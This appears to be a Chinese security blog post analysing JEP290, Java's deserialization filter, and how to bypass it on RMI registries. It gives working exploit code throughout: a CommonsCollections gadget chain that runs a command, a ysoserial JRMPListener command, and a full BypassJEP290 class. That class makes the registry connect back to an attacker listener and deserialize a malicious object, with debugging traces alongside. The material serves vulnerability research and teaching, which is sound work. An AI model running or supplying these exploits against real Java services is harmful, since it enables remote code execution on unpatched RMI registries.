Java JEP290
Java JEP290
前言:JEP290解释了为什么高版本 jdk 有部分能打 jndi,打不了 RMI
8u121 ~ 8u230 打不了 RMI
JEP290 介绍
首先 JEP
是 JDK Enhancement Proposal,JDK改善方案,是JDK增强提议的一个项目。而 JEP290
主要描述的是Filter Incoming Serialization Data,过滤传入的序列化数据。JEP290是Java底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事:
1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为 RMI 远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
适用范围:JDK6u141、JDK7u131、JDK8u121
设置方式
- 通过setObjectInputFilter来设置filter
- 通过conf/security/java.properties文件进行配置
JEP290 防御分析
环境:JDK8u192
在此Java环境下进行服务端攻击注册中心(在 RMI 中 JEP290 主要是在远程引用层 之上进行过滤的,所以其过滤作用对 Server 和 Client 的互相攻击无效),poc
package org.example;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;
public class cilent {
public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
innermap.put("value","111");
Map map = LazyMap.decorate(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
运行发现报错,客户端:
注册中心
因为这里是攻击注册中心,最后漏洞点在于 RegistryImpl_Skel.dispatch
,在这里下断点调试
跟进,ObjectInputStream
类调用了 readObject0()
方法,然后继续跟进到 readObject0()
方法,之前反序列化底层分析说过这里面会根据了 tc 值来进行 switch,此时的 tc 值为 TC_OBJECT,也就是 0x73 十进制数 115 所以会到case TC_OBJECT:
继续跟进 readOrdinaryObject
方法,
调用了 readClassDesc
,此方法用来分发处理字节流中 TC_CLASSDESC
的方法,用switch来选择需要处理的方法,这里tc的值就是 TC_CLASSDESC
的值0x72,转成10进制就是114,然后进入switch判断后转到 case TC_CLASSDESC:
在 readProxyDesc()
方法中会调用到 resovleclass 方法,这个方法会实列化反序列化对象,一般会重新这个方法进行 waf,当然这里不是研究的内容,看到下面调用 filterCheck()
,跟进这个方法,
而 filterCheck()
方法又调用了 checkInput()
方法,
调用 checkInput
方法后,最后会调用到 RegistryImpl.registryFilter
方法
这里就是个白名单,需要类在下面这个白名单才行:
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler
类并不在这些白名单中,所以会被过滤。
DGCImpl类下也定义了checkInput方法,同样设置了白名单
JEP290 绕过
这里我们可以先看一下白名单里面都能过什么,白名单如下
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
绕过利用
针对上面的白名单发现一个比较眼熟的类,那就是 UnicastRef
类。在JRMP反序列化中就用到了这个类作为payload向恶意JRMP服务端进行连接通信导致传入了一个恶意对象造成反序列化攻击,更多参考:Java JRMP反序化
先用 ysoserial 开启 JRMP 3333 端口的监听(服务端)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
然后编写 RMI 的 EXP(服务端攻击注册中心)
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
成功弹出计算机,
绕过分析
简单分析一下。
我们通过 getRegistry
时获得的注册中心,其实就是一个封装了 UnicastServerRef
对象的对象。
当我们调用 bind
方法后,会通过 UnicastRef
对象中存储的信息与服务端进行通信
然后把绑定的对象发送过去,进行一系列的反序列化,调用链,
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
看到从 RegistryImpl_Skel.dispatch
中反序列化开始然后会一直调用到 RemoteObject
的 readObject
方法,
接下来又是一系列的方法调用,最后在 dirty()
方法中调用 wirteObject()
方法后,会用 invoke()
将数据发出去。
invoke()
方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP。
参考
https://drun1baby.top/2023/04/18/浅谈-JEP290/#0x04-JEP290-绕过
https://nivi4.notion.site/Java-JEP290-2d215aeb18924d17b89e3acf049095ef